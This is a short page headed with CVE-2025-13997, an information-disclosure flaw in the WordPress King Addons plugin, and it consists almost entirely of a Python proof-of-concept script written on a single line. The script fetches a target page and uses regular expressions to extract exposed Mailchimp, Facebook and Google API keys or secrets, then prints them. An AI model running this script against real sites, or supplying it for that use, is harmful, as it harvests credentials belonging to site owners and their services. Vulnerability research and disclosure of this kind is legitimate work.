CVE-2025-13997 WordPress King Addons插件信息泄露漏洞

import requests import re def check_vulnerability(url): """ PoC to check for CVE-2025-13997. Fetches the HTML source and looks for exposed API keys. """ try: response = requests.get(url, timeout=10) if response.status_code == 200: content = response.text # Common patterns for API keys in the source code patterns = { 'Mailchimp': r'mailchimp[_-]?api[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9-]+)', 'Facebook': r'fb[_-]?app[_-]?secret["\']?\s*[:=]\s*["\']?([a-zA-Z0-9]+)', 'Google': r'google[_-]?api[_-]?key["\']?\s*[:=]\s*["\']?([a-zA-Z0-9-_]+)' } found = False for service, pattern in patterns.items(): match = re.search(pattern, content, re.IGNORECASE) if match: print(f"[+] Potential {service} API Key found: {match.group(1)}") found = True if not found: print("[-] No exposed API keys detected in the HTML source.") else: print(f"[-] HTTP Error: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_url = "http://target-site.com/page-with-form" check_vulnerability(target_url)